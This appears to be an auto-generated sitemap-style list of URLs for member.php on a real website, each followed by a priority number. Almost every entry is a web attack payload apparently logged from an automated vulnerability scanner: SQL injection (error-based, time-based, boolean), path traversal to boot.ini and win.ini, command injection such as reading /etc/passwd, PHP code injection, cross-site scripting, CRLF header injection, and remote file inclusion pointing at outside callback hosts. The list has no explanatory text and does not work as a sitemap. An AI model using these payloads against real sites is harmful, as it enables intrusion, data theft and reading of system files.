http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'1'='1 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20OR%20'GL'='GL'%20LIMIT%20100%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(14=64)%20THEN%20'clearcookies'%20ELSE%200x28%20END))%20AND%20'EJ'='EJ 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%22 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%22%5C'%5C%22%2527%3d%bf%27%B0 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'%5B.%5D(,.)(%22 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND%2083=54%20AND%20('69'='69 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20RLIKE%20(SELECT%20(CASE%20WHEN%20(61=82)%20THEN%20'clearcookies'%20ELSE%200x28%20END))%20AND%20('ff'='ff 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies')%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'))%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies'),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies',(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies';%20IF(15=61)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies';%20WAITFOR%20DELAY%20'0:0:5'-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20(2014=2014 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies)%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies),(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies);%20IF(99=33)%20SELECT%201%20ELSE%20DROP%20FUNCTION%20EEye_WebSec%20-- 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies,(SELECT%20if(COUNT(*)!=-1,SLEEP(5),SLEEP(5)))%23 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookies6633x3X6 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookiesAND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookiesJyI%3D 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookiesalert(42873) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=clearcookiese360 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=data:text/plain,%3C%3Fphp%20print%28md5%281122%29%29%3B%3F%3E 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=die(md5($_get%5Bwebscan%5D));&webscan=1122 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=dir 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=http://hitBAo6EKQnyr.bxss.me/ 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=http://hitd0rQGQge8t.bxss.me/ 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=http://oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=http://some-inexistent-website.com/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=http://testasp.vulnweb.com/t/fit.txt 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=oxoxoxoxoxoxox.com 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=phpinfo 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=response.write(9412458*9542755) 0.0001 http://www.cncml.com/member.php?formhash=692490b7&mod=set%7Cset&set 0.0001 http://www.cncml.com/member.php?infloat=yes&handlekey=123);alert(/webscan/);// 0.0001 http://www.cncml.com/member.php?mod=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/member.php?mod='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20(CASE%20WHEN%20(11=54)%20THEN%200x636D6C%20ELSE%2011*(SELECT%2011%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20(CASE%20WHEN%20(27=27)%20THEN%200x636D6C%20ELSE%2027*(SELECT%2027%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20(CASE%20WHEN%20(29=12)%20THEN%200x636D6C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20(CASE%20WHEN%20(36=35)%20THEN%200x636D6C%20ELSE%2036*(SELECT%2036%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20(CASE%20WHEN%20(41=68)%20THEN%200x636D6C%20ELSE%2041*(SELECT%2041%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20(CASE%20WHEN%20(51=51)%20THEN%200x636D6C%20ELSE%2051*(SELECT%2051%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20(CASE%20WHEN%20(55=71)%20THEN%200x636D6C%20ELSE%2055*(SELECT%2055%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20(CASE%20WHEN%20(61=61)%20THEN%200x636D6C%20ELSE%2061*(SELECT%2061%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20(CASE%20WHEN%20(96=96)%20THEN%200x636D6C%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=;$%7B@print(md5(1122))%7D; 0.0001 http://www.cncml.com/member.php?mod=;cat%20/etc/passwd; 0.0001 http://www.cncml.com/member.php?mod=;print(md5(1122));%23 0.0001 http://www.cncml.com/member.php?mod=C:%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=ELT(14=14,0x636D6C) 0.0001 http://www.cncml.com/member.php?mod=ELT(86=52,0x636D6C) 0.0001 http://www.cncml.com/member.php?mod=EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/member.php?mod=MAKE_SET(13=65,0x636D6C) 0.0001 http://www.cncml.com/member.php?mod=MAKE_SET(21=21,0x636D6C) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=$%7B@print(md5(1122))%7D 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%0d%0a%20SomeCustomInjectedHeader%3Ainjected_by_test 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%0d%0a%20SomeCustomInjectedHeader:injected_by_test 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%3C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%3C?php%20print(md5(1122));exit;?%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%3Cdir 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%60ping%20-c%205%20127.0.0.1%60 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%7C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%7Cping%20-n%205%20127.0.0.1%7C 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%7Cping+-c+4+127.0.0.1 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash='%5D;print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=');print(md5(1122));// 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=';?%3E%3C?exit(md5(1122));?%3E 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=(SELECT%20(CASE%20WHEN%20(71=86)%20THEN%200x3639323439306237%20ELSE%2071*(SELECT%2071%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afboot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=................windowswin.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././boot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=../../../../../../../../boot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=../../../../../../../../boot.ini%00 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=../../../../../../../../boot.ini%00.htm 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=../../../../../../../../boot.ini%00.html 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=../../../../../../../../boot.ini%00.jpg 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=../../../../../../../../boot.ini%00.txt 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=../..//../..//../..//../..//../..//../..//../..//../..//boot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./boot.ini 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=/some_inexistent_file_with_long_name 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=468365e7 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=4bd81051 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7 0.0015 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7!(%28%29&%26%21%7C*%7C%2A%7C 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%00' 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20%2523 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND%20SLEEP(5)%20%23 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%201=1 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%20WAITFOR%20DELAY%20'0:0:5'%20-- 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%22%20onmousemove='alert(42873)'wb=%22 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%22%20onmousemove=alert(42873)%20wb=%22 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%22%20onmouseover=prompt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%22%20onmouseover=propromptmpt(42873)%20bad=%22 0.0001 http://www.cncml.com/member.php?mod=clearcookies&formhash=692490b7%25%27%29%20AND%2012%3D18%20AND%201%20like%28%27%25 0.0001 